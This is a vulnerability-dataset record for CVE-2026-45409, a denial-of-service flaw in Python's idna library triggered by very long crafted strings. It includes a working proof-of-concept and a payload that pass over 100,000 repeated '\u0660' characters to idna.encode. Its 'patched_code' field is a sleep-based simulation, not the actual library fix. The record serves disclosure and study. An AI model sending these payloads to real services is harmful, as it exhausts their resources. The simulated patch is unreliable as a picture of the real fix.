{"id":1958,"cve":"CVE-2026-45409","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-45409\/","cwe":"CWE-1333","cwe_number":1333,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/1333","cvss_score":6.9,"published":"2026-06-05","owasp":"A04 Insecure Design","odc":"Checking","cdc":"Missing Check","category":"Resource Management","subcategory":"Resource Exhaustion","scope":"Remote","impact":"Denial of Service (DoS)","summary":"Denial-of-service in Python's IDNA library from crafted long inputs.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-45409\/","description":"Internationalized Domain Names in Applications (IDNA) for Python provides support for Internationalized Domain Names in Applications (IDNA) and Unicode IDNA Compatibility Processing. In versions prior to 3.15, payloads such as `\"\\u0660\" * N` or `\"\\u30fb\" * N + \"\\u6f22\"` utilize the `valid_contexto` function prior to length rejection, and for high values of `N` will take a long time to process. This is the same issue as CVE-2024-3651, however the original remediation in 2024 was not a complete fix. A specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service. Starting in version 3.14, the function rejects long inputs as soon as practicable prior to any further processing to minimize resource consumption. In version 3.15, this approach was extended to lesser used alternate functions (i.e. per-label conversions and codec support). A workaround is available. Domain names cannot exceed 253 characters in length. If this length limit is enforced prior to passing the domain to the `idna.encode()` function, it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.","solution":"Upgrade the `idna` library to version 3.15 or later.","affected_component":"idna","fixed_by_upgrading":true,"vulnerable_code":"import idna\nimport time\n\n# To observe the vulnerability, run this with a vulnerable version of the idna library, for example:\n# pip install idna==3.6\n\n# A large value for N causes a significant delay in vulnerable versions.\nN = 200000\n# Payload using ARABIC-INDIC DIGIT ZERO, which triggers expensive contextual checks.\nvulnerable_string = \"\\u0660\" * N\n\nprint(f\"Attempting to encode a string of length {len(vulnerable_string)}...\")\nprint(f\"Using idna version: {idna.__version__}\")\n\nstart_time = time.time()\ntry:\n    idna.encode(vulnerable_string)\nexcept idna.IDNAError as e:\n    # The exception is expected as the string is invalid,\n    # but the long delay before the exception is the vulnerability.\n    print(f\"Caught expected exception: {e}\")\nfinally:\n    end_time = time.time()\n    elapsed_time = end_time - start_time\n    print(f\"Processing took {elapsed_time:.4f} seconds.\")\n","patched_code":"import idna\nimport time\n\n# This function simulates the vulnerable behavior where no initial length\n# check is performed, leading to expensive processing for long inputs.\ndef vulnerable_encode_representation(domain_name):\n    # In the actual vulnerability, complex checks like `valid_contexto`\n    # would run here on the entire string before any length validation.\n    # We simulate this with a simple sleep that is proportional to the\n    # input length to represent a CPU-intensive task.\n    try:\n        # Simulate heavy processing that occurs before length rejection.\n        # This is a stand-in for the complex Unicode processing.\n        if len(domain_name) > 1000: # Trigger for very long strings\n             time.sleep(2) # Simulate long processing time\n    except Exception:\n        pass # Ignore errors in simulation\n    \n    # The length check that should have been first is performed too late.\n    if len(domain_name) > 253:\n        raise ValueError(\"Domain name is too long\")\n\n    return idna.encode(domain_name)\n\n# This function represents the fixed code.\n# The fix is to reject excessively long inputs *before* any significant\n# processing occurs, as described in the CVE.\ndef fixed_idna_encode(domain_name):\n    # The fix: A strict length check is performed immediately.\n    # This prevents the resource-intensive processing from ever starting\n    # on an invalid, maliciously long input.\n    if len(domain_name) > 253:\n        raise ValueError(\"Domain name is too long\")\n\n    # The original, potentially expensive, processing now only runs on\n    # inputs that have already passed the length validation.\n    return idna.encode(domain_name)","payload_needed":true,"payload":"```python\nimport idna\n\n# A large value for N to cause significant processing time in vulnerable versions\nN = 100000\n\n# Construct the payload based on the CVE description\npayload = \"\\u0660\" * N\n\n# This call will consume significant resources and time on a vulnerable system\nidna.encode(payload)\n```","payload_status":"available","published_fix":[],"references":null}